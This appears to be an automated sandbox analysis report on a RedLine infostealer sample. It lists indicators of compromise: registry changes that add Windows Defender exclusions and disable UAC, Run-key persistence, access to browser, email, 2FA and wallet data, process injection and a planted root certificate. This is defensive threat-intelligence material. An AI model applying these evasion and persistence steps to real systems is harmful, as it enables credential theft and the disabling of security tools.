redline | f9e39563cee4f95eec4062daf6578d28f042bc7d9c59a0180c40865d48dc1bc5

System Information Discovery

Processes:

W5wFRtO6gsuXwrrHpoePIVQJ.exeeXbT0W2MPAARY5Fv6JK0MsPO.exeiBGXpMjOgKW0vNdQ2iw_MQKt.exeInstall.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	W5wFRtO6gsuXwrrHpoePIVQJ.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	W5wFRtO6gsuXwrrHpoePIVQJ.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	eXbT0W2MPAARY5Fv6JK0MsPO.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	eXbT0W2MPAARY5Fv6JK0MsPO.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	iBGXpMjOgKW0vNdQ2iw_MQKt.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	iBGXpMjOgKW0vNdQ2iw_MQKt.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Checks computer location settings 2 TTPs 12 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

gKEMpGpZa2MO5bI287flZedT.exeoPSbWsXkgXdQ3Fk7q_5UqmNf.exe2rBA8dAuXyAmzQtn9mgCshPq.exeAdvancedRun.exe3g0IgBY60ub3CvBAsgc379yk.exef9e39563cee4f95eec4062daf6578d28f042bc7d9c59a0180c40865d48dc1bc5.exesotema_1.exesotema_5.exeMl01dnFE8sQgIZhAtiZedgIK.exefT5wdSpTHJlSRyNB_tbz_Hd9.exeyPKqgFGvWUyeuqkKREO1ZW8C.exeInstall.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	gKEMpGpZa2MO5bI287flZedT.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	oPSbWsXkgXdQ3Fk7q_5UqmNf.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	2rBA8dAuXyAmzQtn9mgCshPq.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	AdvancedRun.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	3g0IgBY60ub3CvBAsgc379yk.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	f9e39563cee4f95eec4062daf6578d28f042bc7d9c59a0180c40865d48dc1bc5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	sotema_1.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	sotema_5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	Ml01dnFE8sQgIZhAtiZedgIK.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	fT5wdSpTHJlSRyNB_tbz_Hd9.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	yPKqgFGvWUyeuqkKREO1ZW8C.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	Install.exe

Loads dropped DLL 30 IoCs

Processes:

setup_install.exesotema_8.tmprUNdlL32.eXesotema_2.exeA6zb10898hiGPr_Ur8kgu5Jl.exe3g0IgBY60ub3CvBAsgc379yk.exeyPKqgFGvWUyeuqkKREO1ZW8C.execcsbiiuSta.exe.pif

pid	process
2680	setup_install.exe
2680	setup_install.exe
2680	setup_install.exe
2680	setup_install.exe
2680	setup_install.exe
2680	setup_install.exe
2328	sotema_8.tmp
4340	rUNdlL32.eXe
3972	sotema_2.exe
1180	A6zb10898hiGPr_Ur8kgu5Jl.exe
1180	A6zb10898hiGPr_Ur8kgu5Jl.exe
1180	A6zb10898hiGPr_Ur8kgu5Jl.exe
1180	A6zb10898hiGPr_Ur8kgu5Jl.exe
1180	A6zb10898hiGPr_Ur8kgu5Jl.exe
1180	A6zb10898hiGPr_Ur8kgu5Jl.exe
1180	A6zb10898hiGPr_Ur8kgu5Jl.exe
1180	A6zb10898hiGPr_Ur8kgu5Jl.exe
1180	A6zb10898hiGPr_Ur8kgu5Jl.exe
1180	A6zb10898hiGPr_Ur8kgu5Jl.exe
4956	3g0IgBY60ub3CvBAsgc379yk.exe
4956	3g0IgBY60ub3CvBAsgc379yk.exe
4528	yPKqgFGvWUyeuqkKREO1ZW8C.exe
4528	yPKqgFGvWUyeuqkKREO1ZW8C.exe
5144	ccsbiiu
1360	Sta.exe.pif
1360	Sta.exe.pif
1360	Sta.exe.pif
1360	Sta.exe.pif
1360	Sta.exe.pif
1360	Sta.exe.pif

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Windows security modification 2 TTPs 5 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

Processes:

2rBA8dAuXyAmzQtn9mgCshPq.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents\2rBA8dAuXyAmzQtn9mgCshPq.exe = "0"	2rBA8dAuXyAmzQtn9mgCshPq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions	2rBA8dAuXyAmzQtn9mgCshPq.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Extensions\exe = "1"	2rBA8dAuXyAmzQtn9mgCshPq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths	2rBA8dAuXyAmzQtn9mgCshPq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions	2rBA8dAuXyAmzQtn9mgCshPq.exe

Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

fT5wdSpTHJlSRyNB_tbz_Hd9.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Bzoggjad = "\"C:\\Users\\Admin\\AppData\\Roaming\\Trcysqsq\\Bzoggjad.exe\""	fT5wdSpTHJlSRyNB_tbz_Hd9.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 5 IoCs

evasion trojan

System Information Discovery

Processes:

eXbT0W2MPAARY5Fv6JK0MsPO.exeiBGXpMjOgKW0vNdQ2iw_MQKt.exe2rBA8dAuXyAmzQtn9mgCshPq.exeW5wFRtO6gsuXwrrHpoePIVQJ.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	eXbT0W2MPAARY5Fv6JK0MsPO.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	iBGXpMjOgKW0vNdQ2iw_MQKt.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	2rBA8dAuXyAmzQtn9mgCshPq.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2rBA8dAuXyAmzQtn9mgCshPq.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	W5wFRtO6gsuXwrrHpoePIVQJ.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

10 ip-api.com
19 ipinfo.io
20 ipinfo.io
137 ipinfo.io

flow	ioc
10	ip-api.com
19	ipinfo.io
20	ipinfo.io
137	ipinfo.io

Drops file in System32 directory 6 IoCs

Processes:

Install.exepowershell.exepowershell.exeUMyAYFP.exe

description	ioc	process
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	UMyAYFP.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	UMyAYFP.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

Processes:

HhpexB0qJdTdmk3etEjUazpV.execH77YTGLBZylxXs05i9lqwCP.exe3g0IgBY60ub3CvBAsgc379yk.exe

pid process

5108 HhpexB0qJdTdmk3etEjUazpV.exe
3940 cH77YTGLBZylxXs05i9lqwCP.exe
4956 3g0IgBY60ub3CvBAsgc379yk.exe

pid	process
5108	HhpexB0qJdTdmk3etEjUazpV.exe
3940	cH77YTGLBZylxXs05i9lqwCP.exe
4956	3g0IgBY60ub3CvBAsgc379yk.exe

Suspicious use of SetThreadContext 8 IoCs

Processes:

sotema_7.exeQjCiHc3cmwNBVrFMKHZSCJzD.exeW5wFRtO6gsuXwrrHpoePIVQJ.exeiBGXpMjOgKW0vNdQ2iw_MQKt.exeeXbT0W2MPAARY5Fv6JK0MsPO.exe2rBA8dAuXyAmzQtn9mgCshPq.exefT5wdSpTHJlSRyNB_tbz_Hd9.exeSta.exe.pif

description	pid	process	target process
PID 1668 set thread context of 4524	1668	sotema_7.exe	sotema_7.exe
PID 1788 set thread context of 1404	1788	QjCiHc3cmwNBVrFMKHZSCJzD.exe	QjCiHc3cmwNBVrFMKHZSCJzD.exe
PID 1372 set thread context of 1704	1372	W5wFRtO6gsuXwrrHpoePIVQJ.exe	AppLaunch.exe
PID 5100 set thread context of 4376	5100	iBGXpMjOgKW0vNdQ2iw_MQKt.exe	AppLaunch.exe
PID 2732 set thread context of 4788	2732	eXbT0W2MPAARY5Fv6JK0MsPO.exe	AppLaunch.exe
PID 2220 set thread context of 5700	2220	2rBA8dAuXyAmzQtn9mgCshPq.exe	2rBA8dAuXyAmzQtn9mgCshPq.exe
PID 2208 set thread context of 4332	2208	fT5wdSpTHJlSRyNB_tbz_Hd9.exe	fT5wdSpTHJlSRyNB_tbz_Hd9.exe
PID 1360 set thread context of 5364	1360	Sta.exe.pif	Sta.exe.pif

Drops file in Windows directory 2 IoCs

Processes:

2rBA8dAuXyAmzQtn9mgCshPq.exeschtasks.exe

description	ioc	process
File created	C:\Windows\Microsoft.NET\Framework\v4.0.30319\66i2OKv6hdBe9X5H5.raw	2rBA8dAuXyAmzQtn9mgCshPq.exe
File created	C:\Windows\Tasks\booXbIzkEgfNdKvxAC.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 18 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
4468	4340	WerFault.exe	rUNdlL32.eXe
4680	2292	WerFault.exe	OqpiNV0ImVYLiMuxRZGTB2vL.exe
460	636	WerFault.exe	LY_X7HZG_6WxabnGfswShGbw.exe
2384	5084	WerFault.exe	Ml01dnFE8sQgIZhAtiZedgIK.exe
3900	2292	WerFault.exe	OqpiNV0ImVYLiMuxRZGTB2vL.exe
840	1684	WerFault.exe	gPnIrGdEmIlGjMMGwB6b3q_7.exe
1696	1684	WerFault.exe	gPnIrGdEmIlGjMMGwB6b3q_7.exe
5440	636	WerFault.exe	LY_X7HZG_6WxabnGfswShGbw.exe
5156	5084	WerFault.exe	Ml01dnFE8sQgIZhAtiZedgIK.exe
5320	2224	WerFault.exe	sotema_3.exe
5124	5084	WerFault.exe	Ml01dnFE8sQgIZhAtiZedgIK.exe
2556	5084	WerFault.exe	Ml01dnFE8sQgIZhAtiZedgIK.exe
5232	5084	WerFault.exe	Ml01dnFE8sQgIZhAtiZedgIK.exe
4148	5084	WerFault.exe	Ml01dnFE8sQgIZhAtiZedgIK.exe
4460	5084	WerFault.exe	Ml01dnFE8sQgIZhAtiZedgIK.exe
5368	5084	WerFault.exe	Ml01dnFE8sQgIZhAtiZedgIK.exe
528	5084	WerFault.exe	Ml01dnFE8sQgIZhAtiZedgIK.exe
2384	5364	WerFault.exe	Sta.exe.pif

Checks SCSI registry key(s) 3 TTPs 9 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

sotema_2.execcsbiiuZtfglzprim.exe

description	ioc	process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	sotema_2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	ccsbiiu
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Ztfglzprim.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Ztfglzprim.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	sotema_2.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	ccsbiiu
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	ccsbiiu
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Ztfglzprim.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	sotema_2.exe

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

yPKqgFGvWUyeuqkKREO1ZW8C.exe3g0IgBY60ub3CvBAsgc379yk.exe9df12f3e-fdc0-414e-ac52-fb3ff350ba11.exeA6zb10898hiGPr_Ur8kgu5Jl.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	yPKqgFGvWUyeuqkKREO1ZW8C.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	yPKqgFGvWUyeuqkKREO1ZW8C.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	3g0IgBY60ub3CvBAsgc379yk.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	3g0IgBY60ub3CvBAsgc379yk.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	9df12f3e-fdc0-414e-ac52-fb3ff350ba11.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	9df12f3e-fdc0-414e-ac52-fb3ff350ba11.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	A6zb10898hiGPr_Ur8kgu5Jl.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	A6zb10898hiGPr_Ur8kgu5Jl.exe

Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exe

pid process

3388 schtasks.exe
1180 schtasks.exe
4676 schtasks.exe
Delays execution with timeout.exe 3 IoCs
evasion

Processes:

timeout.exetimeout.exetimeout.exe

pid process

3560 timeout.exe
4728 timeout.exe
2628 timeout.exe
Enumerates processes with tasklist 1 TTPs 2 IoCs

Process Discovery
T1057

Processes:

tasklist.exetasklist.exe

pid process

3968 tasklist.exe
5132 tasklist.exe

pid	process
3388	schtasks.exe
1180	schtasks.exe
4676	schtasks.exe

pid	process
3560	timeout.exe
4728	timeout.exe
2628	timeout.exe

pid	process
3968	tasklist.exe
5132	tasklist.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

System Information Discovery

Processes:

Install.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Kills process with taskkill 3 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exe

pid process

5756 taskkill.exe
3704 taskkill.exe
5332 taskkill.exe

pid	process
5756	taskkill.exe
3704	taskkill.exe
5332	taskkill.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe

Modifies registry class 1 IoCs

Processes:

sotema_1.exe

description ioc process

Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ sotema_1.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	sotema_1.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

Processes:

sotema_3.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	sotema_3.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800000f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c